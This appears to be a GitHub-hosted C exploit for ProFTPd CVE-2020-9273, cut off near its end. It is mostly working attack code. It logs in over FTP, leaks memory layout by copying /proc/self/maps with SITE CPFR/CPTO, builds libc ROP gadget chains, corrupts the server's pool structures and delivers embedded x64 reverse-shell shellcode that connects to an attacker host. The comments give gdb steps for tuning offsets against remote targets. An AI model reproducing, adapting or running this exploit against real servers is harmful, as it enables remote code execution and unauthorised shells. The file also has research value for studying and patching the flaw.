4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit_proftpd.c C
/*
 * ProFTPd Remote Code Execution exploit - CVE-2020-9273
 *
 * exploit created by @dukpt_
 * 
 * gcc -o exploit_proftpd exploit_proftpd.c && ./exploit_proftpd
 *
 * 
 * Revisions:
 * ---------
 * version 0.1  15/10/2020  first article and poc;
 * version 0.2  28/12/2020  demo exploit released, with hardcoded addresses;
 * (long pause)
 * version 1.0  16/08/2021  final exploit, for localhost testing;
 * version 1.1  24/02/2023  after a presentation I decided to take a look back
 *              again and published some features I added in the past. There's
 *              paper on the way, feel free to DM me if you're interested :)
 *              Also, I added more comments so anyone can reproduce it.
 * 
 * 
 * Limitations:
 * ------------
 * - have to manually change FTP_PORT, FTP_HOST, and RSHELL payload if you
 *   want to attack remote targets;
 * - offsets may vary a lot from target/instance execution, so you probably
 *   need to massage memory beforing finding the correct offsets of your
 *   target, which means run the exploit repeatedly until offsets are fixed;
 * - tested on ProFTPd compiled with mod_copy only, if your target have more
 *   modules built-in the offsets may change (didn'test this);
 * - libc offsets were calculated on Ubuntu 22.04.2 LTS;
 * - IPv4 addresses only, but you can easily addapt to IPv6;
 * - as you know, due to ASLR it is impossible to remotely predict the correct
 *   memory address of the variables we need, so this exploit is the best I
 *   could do to find them; there's a version of this exploit where I do not
 *   use mod_copy, so I try to brute-force the correct memory address and 
 *   offsets;
 * - in summary, for this exploit to work you must be sure that:
 *     gef➤ p->last = &p->cleanups
 *     gef➤ p->sub_pools = ((char *)&session.curr_cmd_rec->notes->chains) - 0x28 + 0x18
 *     gef➤ p->sub_next = ((char *)&gid_tab->chains) - 0xc8
 *     gef➤ # in addition to that, you must know the offsets
 *     gef➤ # you'll need to build a VM with the target you want
 *     gef➤ # 
 *     gef➤ vmmap heap
 *     Start              End                Perm Path
 *     0x0000555555677000 0x00005555556c5000 0x0000000000000000 rw- [heap]
 *     0x00005555556c5000 0x0000555555729000 0x0000000000000000 rw- [heap]
 *     gef➤ set $start = 0x0000555555677000
 *     gef➤ set $end = 0x00005555556c5000
 *     gef➤  p/x (char *)resp_pool - $end              # this is R offset
 *     $32 = 0x236a0
 *     gef➤  p/x (char *)gid_tab - $start              # this is G offset
 *     $33 = 0x3e6d8
 *     gef➤  p/x (char *)session.curr_cmd_rec->notes - $start #this is S offset
 *     $34 = 0x459c8
 *     gef➤ # now use the offsets above in the exploit command line
 *     gef➤ # this does not garantess it will work!!
 *     gef➤ # that's because of ASLR that will randomize server's memory
 *     gef➤ # no mather how identical your machine is regarding your target
 *
 * 
 * Notes on debugging and compilation:
 * -----------------------------------
 * If you compile the exploit with these defines:
 * - gcc -D DEBUG1 = gives you control on the FTP session and allows you to
 *   send commands to the FTP server before triggering the vulnerability.
 *   Useful if you need to prepare the server beforehand or to discover new
 *   comands to abuse after triggering the vulnerability;
 * - gcc -D DEBUG2 = gives you "3333 CCC\x77\x11\x11\x11\x11\x77\0" as the
 *   last FTP command, useful if running the FTP locally and need to adjust
 *   the offsets.
 * 
 * If're adjusting the offset for your remote target, then I suggest you to
 * turn on -D DEBUG2 when compiling, and in gdb set the following breakpoint:
 * break pool.c:856 if c == 0x771111111177
 * By doing this we'll know when you gain control over the execution.
 * Of course you can combine multiple -D options.
 * 
 * Regarding ProFTPd server, during my tests it was compiled with: 
 * ./configure --prefix=/usr/local --with-modules=mod_copy && make -j8
 * 
 * Add CFLAGS="-g" CXXFLAGS="-g" LDFLAGS="-g" in configure path if you want
 * to debug and start gdb the following way:
 * 
 * I noticed that the vulnerability could also be triggered after timeouts
 * but the exploitation path seems the same. So I accelerated them adding 
 * the following in configure script:
 *  --enable-timeout-idle=60
 *  --enable-timeout-no-transfer=90
 *  --enable-timeout-stalled=120
 * 
 * Although there're not required, I noticed that the same exploitation 
 * path could be used to trigger the vulnerability, but it seems to be
 * fixed in 1.3.7rc3 version as well.
 * 
 * Useful information when crafting an exploit for your target
 * -----------------------------------------------------------
 * 
 * In the shell1 run:
 * $ sudo gdb -d src/ -d modules/ proftpd
 * gef➤  set args -d7 -n -c proftpd1.3.7rc2/sample-configurations/basic.conf
 * gef➤  handle SIGPIPE nostop pass
 * gef➤  handle SIGALRM nostop pass
 * gef➤  set follow-fork-mode child
 * gef➤  break pool.c:569 if (p && p->first >= 0x4141414141414141)
 * gef➤  r
 * 
 * Now in shell2 compile & run the exploit:
 * $ gcc -g -o exp exploit_proftpd.c
 * $ ./exp 127.0.0.1 2121 poc cRapP@swd 127.0.0.1 4444 0x23690 0x326c8 0x399b8
 * 
 * The last 3 arguments are offsets that I calculated for resp_pool, gid_tab
 * and &session.curr_cmd_rec->notes memory address related to the initial and
 * end of the first heap memory block given to ProFTPd by the allocator.
 * These are mine offsets, and will change for every execution of the daemon.
 * Since it is fork'ed, the virtual memory space is inherited as well, so it
 * will change a couple of times - that's why you may have to massage the
 * memory before getting more accuracy, which means trying a couple of times
 * the same offsets.
 * 
 * If you managed to have an environment exactly identitical to your target,
 * i.e. same architecture, OS version, kernel version, compiler, compilation
 * flags, libc, etc. then you *may* have success using this exploit.
 * The comands below can help to calculate the offsets when crafting your args:
 * 
 * gef➤  vmmap heap
 * gef➤  set $start = 0x0000555555677000  # start of the 1st heap segment
 * gef➤  set $end = 0x00005555556c5000    # end of the 1st heap segment
 * gef➤  p/x (char *)resp_pool - $end     # this will be the 1st offset arg
 * gef➤  p/x (char *)gid_tab - $start     # this will be the 2nd
 * gef➤  p/x (char *)session.curr_cmd_rec->notes - $start    # the 3rd and last
 * 
 * And to calculate the gadgets:
 * gef➤  vmmap libc
 * gef➤  set $libc_base = 0x00007ffff7d46000
 * gef➤  p $mblen_112 = (unsigned long long)mblen+112 - $libc_base
 * gef➤  p $gconv_close_transform_225 = (unsigned long long)__gconv_close_transform+225 - $libc_base
 * gef➤  p $do_dlopen_69 = (unsigned long long)do_dlopen+69 - $libc_base
 * gef➤  p $GI___lll_lock_wake_private_22 = (unsigned long long)__GI___lll_lock_wake_private+22 - $libc_base
 * gef➤  p $authnone_marshal_16 = (unsigned long long)authnone_marshal+16 - $libc_base
 * gef➤  p $iconv_197 = (unsigned long long)iconv+197 - $libc_base
 * 
 * ------------------------------------------------------------------------------
 * The steps below are not required, they can be used to be sure that the
 * addresses calculated by the exploit using the input parameters given are
 * correct when stoping at the breakpoint:
 * (gdb) p p->last = &p->cleanups
 * (gdb) p p->sub_pools = ((char *)&session.curr_cmd_rec->notes->chains) - 0x28 + 0x18
 * (gdb) p p->sub_next = ((char *)&gid_tab->chains) - 0xc8 # (sometimes 0xe0 or 0xf8)
 * 
 * Credits to:
 * --------
 * Antonio Morales - who discovered the vulnerability;
 * @lockedbyte - gave the idea to compile with mod_copy and SITE CP(FR|TO)
 *               /proc/self/maps file and RETR it from a temp directory, so we
 *               have memory layout from the target. 
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <err.h>
#include <errno.h>


unsigned int get_remote_port(char *pasv_answer);
unsigned long get_mem_addr(const char *what, FILE *fp, int index);

#define exit_on_error(P) \
    if (P)               \
        err(errno, NULL);


#define RCVD_CTRL_BUFF_SIZE 0x200   // store responses of FTP control port
#define RCVD_DATA_BUFF_SIZE 0xcafe  // store responses of FTP data port
#define SEND_BUFF_SIZE      0x280   // send data
                                    // must be bigger than 0x120

/* 
 * These are fictitious structures, they do not represents the originals in
 * size, but they help to visualize how data is going to be on memory and 
 * align our shellcode (trying to be didact here)
 */
struct pool_rec {
    unsigned char *first;
    unsigned char *last;
    unsigned char *cleanups;
    unsigned char *sub_pools;
    unsigned char *sub_next;
    unsigned char *sub_prev;
    unsigned char *parent;
    unsigned char *free_favail;
    unsigned char *tag;
};

struct cleanup {
    unsigned char *data;
    unsigned char *plain_clnup_cb;
    unsigned char *child_clnup_cb;
    unsigned char *next;
};


/*
 * These are some offsets that I managed to find during some tests I did.
 * These offsets may vary a lot.
 * I recommend you setup a VM from the same target OS you wish to attack and
 * study how these offsets will change.
 * gef➤ vmmap heap
 * Start              End                Perm Path
 * 0x0000555555679000 0x00005555556c6000 rw- [heap]
 * 0x00005555556c6000 0x0000555555753000 rw- [heap] (ignore)
 * gef➤ set $start = 0x0000555555679000
 * gef➤ set $end = 0x00005555556c6000
 * gef➤ p/x (char *)resp_pool - $end                      // R - resp_pool
 * gef➤ p/x (char *)gid_tab - $start                      // G - gid_tab
 * gef➤ p/x (char *)session.curr_cmd_rec->notes - $start  // S
 */
enum {
    R1 = 0x20f20,
    G1 = 0x303d8,
    S1 = 0x37628
} offset1;
enum {
    R2 = 0x20ea0,
    G2 = 0x30358,
    S2 = 0x37568
} offset2;
enum {
    R3 = 0x20e90,
    G3 = 0x30308,
    S3 = 0x37558
} offset3;
enum {
    R4 = 0x20f70,
    G4 = 0x3c428,
    S4 = 0x43638
} offset4;
enum {
    R5 = 0x236a0,
    G5 = 0x3e6d8,
    S5 = 0x459c8
} offset5;


/* 
 * linux/x64 reverse shell shellcode.
 * 
 * This shellcode connects back to 127.1.1.1 address on port 4444.
 * Listener needs to be opened before: nc -vl 127.0.0.1 4444
 * I removed the need of password from original shellcode.
 * (if you want it just uncomment middle lines and change the passwd)
 * 
 * Author: zerosum0x0
 * https://github.com/zerosum0x0/SLAE64/blob/master/reverseshell/
 *
 * PS.: I refused myself to download kali for msfvenom
 *
 */
size_t rshell_size = 90;
unsigned char rshell[] =
    //"\xcc"                        // int3 (debugging only)
    "\x48\x83\xec\x08"              // sub rsp, 0x8
    "\x31\xf6"                      // xor    %esi,%esi
    "\xf7\xe6"                      // mul    %esi
    "\xff\xc6"                      // inc    %esi
    "\x6a\x02"                      // pushq  $0x2
    "\x5f"                          // pop    %rdi
    "\x04\x29"                      // add    $0x29,%al
    "\x0f\x05"                      // syscall
    "\x50"                          // push   %rax
    "\x5f"                          // pop    %rdi
    "\x52"                          // push   %rdx
    "\x52"                          // push   %rdx
    "\xc7\x44\x24\x04\x7d\xff\xfe"  // movl   $0xfefeff7d,0x4(%rsp)
    "\xfe"
    "\x81\x44\x24\x04\x02\x01\x01"  // addl   $0x2010102,0x4(%rsp)
    "\x02"
    "\x66\xc7\x44\x24\x02\x11\x5c"  // movw   $0x5c11,0x2(%rsp)
    "\xc6\x04\x24\x02"              // movb   $0x2,(%rsp)
    "\x54"                          // push   %rsp
    "\x5e"                          // pop    %rsi
    "\x6a\x10"                      // pushq  $0x10
    "\x5a"                          // pop    %rdx
    "\x6a\x2a"                      // pushq  $0x2a
    "\x58"                          // pop    %rax
    "\x0f\x05"                      // syscall
    //"\x31\xc0"                      // xor    %eax,%eax
    //"\x0f\x05"                      // syscall
    //"\x81\x3c\x24\x5a\x7e\x72\x30"  // cmpl   $0x30727e5a,(%rsp)
    //"\x75\x1f"                      // jne    62 <drop>
    "\x6a\x03"                      // pushq  $0x3
    "\x5e"                          // pop    %rsi
    "\xff\xce"                      // dec    %esi
    "\xb0\x21"                      // mov    $0x21,%al
    "\x0f\x05"                      // syscall
    "\x75\xf8"                      // jne    46 <dupe_loop>
    "\x56"                          // push   %rsi
    "\x5a"                          // pop    %rdx
    "\x56"                          // push   %rsi
    "\x48\xbf\x2f\x2f\x62\x69\x6e"  // movabs $0x68732f6e69622f2f,%rdi
    "\x2f\x73\x68"
    "\x57"                          // push   %rdi
    "\x54"                          // push   %rsp
    "\x5f"                          // pop    %rdi
    "\xb0\x3b"                      // mov    $0x3b,%al
    "\x0f\x05"                      // syscall
    "\x00";


char banner[] = "[*] ProFTPd <= 1.3.7rc2 CVE-2020-9273 exploit\n"
                "[*] default payload provides rshell on [attacker-host]:4444\n"
                "[*] exploit developed by @dukpt_\n";

void usage(char *cmd) {
    printf("[*] Use IP addresses instead of FQDN(s).\n");
    printf("[*] Arguments are posicional in this poc:\n");
    printf("%s [target-host] [target-port] [target-FTP-username] [target-FTP-password]"
           " [attacker-host] [attacker-port] or\n", cmd);
    printf("%s [target-host] [target-port] [target-FTP-username] [target-FTP-password]"
           " [attacker-host] [attacker-port] [resp_pool offset] [gid_tab offset] [session.curr_cmd_rec->notes offset]\n", cmd);
    printf("the offsets are in relation to the heap start and end addresses, see the exploit source code for more details\n");
    printf("[*] Examples:\n");
    printf("%s 206.189.94.209 2121 ftpuser \"cr@p$P4s$w0rd0*\" 123.45.67.89 4444\n", cmd);
    printf("%s 206.189.94.209 2121 ftpuser \"cr@p$P4s$w0rd0*\" 123.45.67.89 4444 0x236a0 0x3e6d8 0x459c8\n", cmd);
}


int main(int argc, char *argv[])
{
    int r=0, socketopt=1;
    size_t tmplen=0;
    int sock_ctrl = 0, sock_data = 0;
    char ftpcmd[50] = {0}, buf[RCVD_CTRL_BUFF_SIZE] = {0};
    struct sockaddr_in sa_ctrl = {0}, sa_data = {0};
    struct pool_rec resp_pool = {0};
    struct cleanup cleanup = {0};
    char *shellcode = NULL;
    char *maps = NULL;
    FILE *fmaps = NULL;
    unsigned int R=0;
    unsigned int G=0;
    unsigned int S=0;
    unsigned char *RESP_POOL = NULL;            // resp_pool
    unsigned char *SESS_CURR_CMD_NOTES=  NULL;  // session.curr_cmd_rec->notes
    unsigned char *GID_TAB = NULL;              // gid_tab
    unsigned char *CLEANUP_POINTER = NULL;      // &p->sub_pools->cleanups?


    printf("%s\n", banner);

    if (argc != 7 && argc !=10) {
        usage(argv[0]);
        exit(1);
    }

    if (argc == 10) {
        sscanf(argv[7], "%x", &R);
        sscanf(argv[8], "%x", &G);
        sscanf(argv[9], "%x", &S);
    }

    shellcode = malloc(SEND_BUFF_SIZE);
    if(!shellcode)
        exit(3);
    memset(shellcode, SEND_BUFF_SIZE, sizeof(char));

    // TODO: getaddrinfo instead of inet_addr, resolv DNS, parse args correctly, error check, etc.
    // Well, although this is an exploit, it is still a poc, and I don't intend to weaponized it
    // since it's hard to find exploit a cenario for this vulnerability be successful 
    // (please read my article).

    /* address structure for FTP command connection */
    sa_ctrl.sin_family = AF_INET;
    sa_ctrl.sin_port = htons(atoi(argv[2]));
    sa_ctrl.sin_addr.s_addr = inet_addr(argv[1]);

    /* address structure for FTP data connection */
    sa_data.sin_family = AF_INET;
    sa_data.sin_addr.s_addr = inet_addr(argv[1]);

    /* connect to remote FTP and reads banner */
    sock_ctrl = socket(AF_INET, SOCK_STREAM, 0);
    exit_on_error(sock_ctrl < 0);
    r = connect(sock_ctrl, (const struct sockaddr *)&sa_ctrl, sizeof(sa_ctrl));
    exit_on_error(r < 0);
    r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE, 0);
    exit_on_error(r < 0);
    buf[RCVD_CTRL_BUFF_SIZE-1] = '\0';

    /* build and send USER and PASS login commands */
    tmplen=strlen(argv[3]);
    memcpy(&ftpcmd[0], "USER ", 5);
    memcpy(&ftpcmd[5], argv[3], tmplen); /* increase if not enough */
    memcpy(&ftpcmd[tmplen+5], "\r\n", 2);
    printf("[+] %s", &ftpcmd[0]);
    r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0);
    r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE, 0);
    buf[RCVD_CTRL_BUFF_SIZE-1] = '\0';

    memset(ftpcmd, 0, 50);
    tmplen=strlen(argv[4]);
    memcpy(&ftpcmd[0], "PASS ", 5);
    memcpy(&ftpcmd[5], argv[4], tmplen);
    memcpy(&ftpcmd[tmplen+5], "\r\n", 2);
    printf("[+] %s", &ftpcmd[0]);
    r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0);
    r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE, 0);
    buf[RCVD_CTRL_BUFF_SIZE-1] = '\0';

    if (r < 0 || !strcmp("230 ", buf) || !strcmp("logged in", buf)) {
        err(errno, "wrong user and/or password, can't continue.");
    }

    /* send TYPE I, so we can send NULL and other characters in the payload */
    memset(ftpcmd, 0, 50);
    memcpy(ftpcmd, "TYPE I\r\n", 8);
    printf("[+] %s", &ftpcmd[0]);
    r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0);
    memset(buf, 0, RCVD_CTRL_BUFF_SIZE);
    r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE-1, 0);
    buf[RCVD_CTRL_BUFF_SIZE-1] = '\0';
    exit_on_error(r <= 0);
    if (!strcmp("200 ", buf))
        err(errno, "error TYPE I: %s", buf);

#ifndef DEBUG1
    /* 
     * Thanks to @lockedbyte idea we're able to get a memory layout view using
     * SITE CPFR and SITE CPTO commands. Basically we copy /proc/self/maps to
     * a writable directory and them we RETR it, then we reflect memory heap
     * and libc base addresses into our offsets and payload.
     * The down side is that ProFTPd should have been compiled with mod_copy.
     * Also, chroot() protection should not be enforced by the server, so /proc
     * would not be acessible.
     */ 
    memset(ftpcmd, 0, 50);
    memcpy(ftpcmd, "SITE CPFR /proc/self/maps\r\n", 27);
    printf("[+] %s", &ftpcmd[0]);
    r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0);
    sync();  /* required just on local connections, probably due to CoW */
    memset(buf, 0, RCVD_CTRL_BUFF_SIZE);
    r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE-1, 0);
    buf[RCVD_CTRL_BUFF_SIZE-1] = '\0';
    if ((r <= 0) || !strcmp("350 ", buf) || !strcmp("exists, ready for", buf))
        err(errno, "error issuing SITE CPFR /proc/self/maps: %s", buf);

    memset(ftpcmd, 0, 50);
    memcpy(ftpcmd, "SITE CPTO /tmp/maps.txt\r\n", 25);
    printf("[+] %s", &ftpcmd[0]);
    r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0);
    memset(buf, 0, RCVD_CTRL_BUFF_SIZE);
    r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE-1, 0);
    buf[RCVD_CTRL_BUFF_SIZE-1] = '\0';
    if ((r <= 0) || !strcmp("250 ", buf) || !strcmp("successful", buf))
        err(errno, "error issuing SITE CPTO /tmp/maps.txt: %s", buf);

    /*
     * In the 1st version of this exploit I was using the FTP command PORT, so
     * invariably had to bind(), listen() and accept() for an incoming
     * connection. This also means that I had to fork() and waitpid() for it's
     * No problem with that, however I found much easier using PASV command,
     * that will activelly connect into FTP remote data port (I think this 
     * what most of the FTP clients preferably do). 
     * So I created another socket and sent data in serialized steps. 
     * Also with PASV no need to open TCP ports on the router for remote 
     * targets connections
     */
    memset(ftpcmd, 0, 50);
    memcpy(ftpcmd, "PASV\r\n", 6);
    printf("[+] %s", &ftpcmd[0]);
    r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0);
    memset(buf, 0, RCVD_CTRL_BUFF_SIZE);
    r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE-1, 0);
    buf[RCVD_CTRL_BUFF_SIZE-1] = '\0';
    if (r <= 0 || !strcmp("227 ", buf) || !strcmp("Entering Passive Mode", buf)) {
        err(errno, "%s", buf);
    }
    sa_data.sin_port = htons(get_remote_port(buf));
    sock_data = socket(AF_INET, SOCK_STREAM, 0);
    exit_on_error(sock_data < 0);
    r = setsockopt(sock_data, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &socketopt, sizeof(socketopt));
    exit_on_error(r < 0);
    r = connect(sock_data, (const struct sockaddr *)&sa_data, sizeof(sa_data));
    exit_on_error(r < 0);

    /* 
     * build and send RETR to download /tmp/maps.txt file.
     * We store it as mmap.txt in the current directory, we'll use it later.
     */
    memset(ftpcmd, 0, 50);
    memcpy(ftpcmd, "RETR /tmp/maps.txt\r\n", 20);
    printf("[+] %s", &ftpcmd[0]);
    r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0);
    maps = malloc(RCVD_DATA_BUFF_SIZE);
    memset(maps, 0, RCVD_DATA_BUFF_SIZE);
    memset(buf, 0, RCVD_CTRL_BUFF_SIZE);
    r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE-1, 0);
    buf[RCVD_CTRL_BUFF_SIZE-1] = '\0';
    r = recv(sock_data, maps, RCVD_DATA_BUFF_SIZE-1, 0);
    maps[RCVD_DATA_BUFF_SIZE-1] = '\0';
    if (r <= 0 || !strcmp("226 ", buf) || !strcmp("Transfer complete", buf)) {
        err(errno, "%s", buf);
    }
    //sleep(1);
    if (sock_data) {
        close(sock_data);
    }

    fmaps = fopen("mmaps.txt", "w");
    if (!fmaps)
        err(errno, "wtf can't I store a local file at current directory?");

    r = fwrite(maps, sizeof(char), RCVD_DATA_BUFF_SIZE, fmaps);
    if (r < 20000)
        err(errno, "file is too small, are you sure you downloaded it? please check it");

    fclose(fmaps);
#endif

    memset(ftpcmd, 0, 50);
    memcpy(ftpcmd, "PASV\r\n", 6);
    printf("[+] %s", &ftpcmd[0]);
    r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0);
    memset(buf, 0, RCVD_CTRL_BUFF_SIZE);
    sync();       // seems to be required just on local connections
    sleep(1);     // seems to be required just on local connections
    r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE-1, 0);
    buf[RCVD_CTRL_BUFF_SIZE-1] = '\0';
    if (r <= 0 || !strcmp("227 ", buf) || !strcmp("Entering Passive Mode", buf)) {
        err(errno, "%s", buf);
    }
    sa_data.sin_port = htons(get_remote_port(buf));
    sock_data = socket(AF_INET, SOCK_STREAM, 0);
    exit_on_error(sock_data < 0);
    r = setsockopt(sock_data, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &socketopt, sizeof(socketopt));
    exit_on_error(r < 0);
    r = connect(sock_data, (const struct sockaddr *)&sa_data, sizeof(sa_data));
    exit_on_error(r < 0);

    /* 
     * Now we're very close to trigger the vulnerability.
     * At this momment FTP control connection will not reply anymore until we
     * send some data on FTP data connection, so no need to recv() data.
     */
    memset(ftpcmd, 0, 50);
    memcpy(ftpcmd, "STOR /tmp/aaa.txt\r\n", 19);
    printf("[+] %s", &ftpcmd[0]);
    r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0);
    sync(); // seems to be required just on local connections
    memset(buf, 0, RCVD_CTRL_BUFF_SIZE);
    r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE, 0);
    buf[RCVD_CTRL_BUFF_SIZE-1] = '\0';
    exit_on_error(r <= 0);
    if (!strcmp("200 ", buf))
        err(errno, "error issuing \"STOR /tmp/aaa.txt\", verify write " \
                   "permissions to this directory\nIf error persist, try "
                   "changing to /dev/shm/ or /run/lock/\n%s", buf);

    /*
     * Now it's time to extract the base addresses of heap and libc from mmaps
     * file and adjust the offsets that we'll use in the exploitation path.
     * We need to calculate the value of resp_pool pointer before issuing the
     * last FTP command.
     */
    unsigned long heap1_start = 0L;
    unsigned long heap2_start = 0L;
    unsigned long libc_base = 0L;

    fmaps = fopen("mmaps.txt", "r");
    exit_on_error(!fmaps);

    heap1_start = get_mem_addr("[heap]", fmaps, 0); // get the first occurence in /proc/xxx/maps
    printf("[+] heap1 begin: 0x%lx\n", heap1_start);
    heap2_start = get_mem_addr("[heap]", fmaps, 1);   // get the last occurrence of heap
    printf("[+] heap2 begin:   0x%lx\n", heap2_start);

    /*
     * some systems libc is compiled with the name libc.*, other as
     * libc-2.*, so it really depends on your target. On Ubuntu 20 "libc-2"
     * works fine. On PopOS I'm using "libc.". On Ubuntu 22.04.01 "libc.so"
     * Just change below
     */
    libc_base = get_mem_addr("/usr/lib/x86_64-linux-gnu/libc.", fmaps, 0);
    printf("[+] libc begin: 0x%lx\n", libc_base);
    
    if (fmaps)
        fclose(fmaps);

    /*
     * see offset calculations above.
     * Here you should try all possibilitites R[1234..], G[1234..], S[1234..]
     * The number should be the same on each R, G and S.
     * Try 5 times each of them. Then restart it again. Sorry about that
     * but ASLR plays a huge impact on exploiting memory of remote targets.
     * You can also manually provide your offsets by adding last arguments
     * to the exploit call.
     * If you're sure about the memory conditions on the target, then you
     * can pass the offsets as args to the exploit. To get the offsets do:
     * gef➤  vmmap heap
     * Start              End                Offset             Perm Path
     * 0x0000555555677000 0x00005555556c5000 0x0000000000000000 rw- [heap]
     * 0x00005555556c5000 0x0000555555729000 0x0000000000000000 rw- [heap]
     * set $start = 0x0000555555677000
     * set $end = 0x00005555556c5000
     * set $R = (char *)resp_pool - $end
     * set $G = (char *)gid_tab - $start
     * set $S = (char *)session.curr_cmd_rec->notes - $start
     * gef➤  p/x $R
     * $42 = 0x236a0
     * gef➤  p/x $G
     * $43 = 0x3e6d8
     * gef➤  p/x $S
     * $44 = 0x459c8
     * # take note of them and pass those values as args to the exploit
     * set p->last = &p->cleanups
     * set p->sub_pools = ((char *)&session.curr_cmd_rec->notes->chains) - 0x28 + 0x18
     * set p->sub_next = ((char *)&gid_tab->chains) - 0xc8
     */
    if (R==0 && G==0 && S==0) {
        R = R5; // remember to try other values, like R1, G1, S1
        G = G5; // or R2, G2, S2, etc.
        S = S5; // use always the same numbers with the letters
    }
    printf("[+] R=0x%x, G=0x%x, S=0x%x\n", R, G, S);
    RESP_POOL = (unsigned char *)heap2_start + R;           // heap2_start + R10 == resp_pool
    GID_TAB = (unsigned char *)heap1_start + G;             // heap1_start + G10 == gid_tab
    SESS_CURR_CMD_NOTES = (unsigned char *)heap1_start + S; // heap1_start + S10 == session.curr_cmd_rec->notes
    CLEANUP_POINTER = (RESP_POOL+0x48);

    unsigned char *MPROTECT_RDI = (unsigned char *)((unsigned long)RESP_POOL & 0xfffffffffffff000); // initial memory page address to mprotect
    unsigned char *mblen_112 = (unsigned char *)libc_base + 0x45eb0;                      // <mblen+112>: pop rax; ret
    unsigned char *__gconv_close_transform_225 = (unsigned char *)libc_base + 0x2be50;     // <__gconv_close_transform+225>: pop rsi; ret
    unsigned char *do_dlopen_69 = (unsigned char *)libc_base + 0x174f95;                  // <do_dlopen+69>: pop rax; pop rdx; pop rbx; ret
    unsigned char *__GI___lll_lock_wake_private22 = (unsigned char *)libc_base + 0x91396; // <__GI___lll_lock_wake_private+22>: syscall; ret
    unsigned char *authnone_marshal_16 = (unsigned char *)libc_base + 0x15d200;           // <authnone_marshal+16>: push rax; pop rsp; lea rsi,[rax+0x48]; mov rax,QWORD PTR [rdi+0x8]; jmp QWORD PTR [rax+0x18]
    unsigned char *__GI___strtod_nan_107 = (unsigned char *)libc_base + 0x507bb; // pop rsp; add rsp, 0x18; pop rbx; pop rbp; ret
    unsigned char *iconv_197 = (unsigned char *)libc_base + 0x2a3e5;            // <iconv+197>: pop rdi; ret; (OLD: pop rdi; add rsp,0x18; pop rbx; pop rbp; ret
    unsigned char *RETURN_TO_SHELLCODE = RESP_POOL + 0xb8;                      // this is where shellcode will be

    /*
     * We need to send CRAP xxxxxx since the parameter is not upper cased.
     * Also the command should be at most 4 in lenght.
     */
    //r = send(sock_ctrl, (void *)"SITE CPFR /home/poc/oi.txt\r\n", 28, 0);
    //sleep(5);
    //sync(); // seems to be required just on local connections
    //r = send(sock_ctrl, (void *)"SITE CPTO /home/poc/dddddd\r\n", 28, 0);
    //sleep(5);
#ifdef DEBUG1
    printf("[DEBUG1] If you want, you can change the values of last commands.\n");
    printf("[DEBUG1] Your command must NOT start with \".\"\n");
    printf("[DEBUG1] Inside gdb you can send as many comamands you want, e.g.:\n");
    printf("[DEBUG1] gef➤  p buf=\"STOR /tmp/kkk.txt\\r\\n\"\n");
    printf("[DEBUG1] gef➤  p buf=\"RANG\\r\\n\"\n");
    printf("[DEBUG1] gef➤  p buf=\"HELP\\r\\n\"\n");
    printf("[DEBUG1] gef➤  Then type c to process it:\n");
    printf("[DEBUG1] gef➤  c\n");
    printf("[DEBUG1] When done sending, do the following on gdb:\n");
    printf("[DEBUG1] gef➤  p buf=\".\\n\"\n");
    printf("[DEBUG1] Note that you will not receive the output of the command sent.\n");
    printf("[DEBUG1] If you really need, type in gdb before:\n");
    printf("[DEBUG1] gef➤  p debug1_recv=1\n");
    size_t debug1_size_buf=0;
    size_t debug1_recv=0;
loop_debug1_start:
    memset(buf, 0, RCVD_CTRL_BUFF_SIZE);
    //asm("int3");
    debug1_size_buf = strlen(buf);
    if (debug1_size_buf > 0) {
        if (buf[0] == '.') goto loop_debug1_end;
        r = send(sock_ctrl, (void *)buf, debug1_size_buf+1, 0);
        sleep(1);
        sync(); // seems to be required just on local connections
        if (debug1_recv==1) {
            send(sock_data, (void *)"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n\0", 35, 0);
            sync(); // seems to be required just on local connections
            r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE, 0);
            sync(); // seems to be required just on local connections
            printf("[DEBUG1] received:  %s\n", buf);
        }
    }
    goto loop_debug1_start;
loop_debug1_end:
#endif
    r = send(sock_ctrl, (void *)"1111 AAAAAAAAAAAAAAAAAAAAAAAAA\r\n", 32, 0);
    sync(); // seems to be required just on local connections
    r = send(sock_ctrl, (void *)"2222 BBBBBBBBBBBBBBBBBBBBBBBBB\r\n", 32, 0);
    sync(); // seems to be required just on local connections
    memset(buf, 0, RCVD_CTRL_BUFF_SIZE);
    memcpy(buf, "3333 CCC", 8);
    memcpy(&buf[8], &CLEANUP_POINTER, 8); // CLEANUP_POINTER = RESP_POOL + 0x48, first ROP gadget <authnone_marshal+16>
#ifdef DEBUG2
/*  src/pool.c:
 *       854	 static void run_cleanups(cleanup_t *c) {
 *       855	   while (c) {
 *       856	     if (c->plain_cleanup_cb) {
 *       857	       (*c->plain_cleanup_cb)(c->data);
 *       858	     }
 *       859	 
 *       860	     c = c->next;
 *       861	   }
 *   ──────────────────────────────────────────────────────────────────────────
 *   gef➤  p *c
 *   $6 = {
 *     data = 0x560f1919d6f8,
 *     plain_cleanup_cb = 0x7711111111111177  # first ROP gadget <authnone_marshal+16>
